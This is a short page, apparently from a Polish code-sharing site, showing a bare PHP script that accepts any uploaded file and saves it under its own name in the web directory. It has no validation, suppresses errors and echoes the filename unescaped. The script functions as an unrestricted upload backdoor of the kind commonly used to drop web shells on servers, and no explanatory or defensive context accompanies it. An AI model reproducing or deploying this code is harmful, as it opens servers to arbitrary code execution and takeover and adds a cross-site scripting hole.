Jesteś tutaj

rth

Portret użytkownika radiss
  1. <?php
  2. if(isset($_POST['Submit'])){
  3.     $filedir = "";
  4.     $maxfile = '2000000';
  5.  
  6.     $userfile_name = $_FILES['image']['name'];
  7.     $userfile_tmp = $_FILES['image']['tmp_name'];
  8.     if (isset($_FILES['image']['name'])) {
  9.         $abod = $filedir.$userfile_name;
  10.         @move_uploaded_file($userfile_tmp, $abod);
  11.  
  12. echo"<center><b>Done ==> $userfile_name</b></center>";
  13. }
  14. }
  15. else{
  16. echo'
  17. <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
  18. }
  19. ?>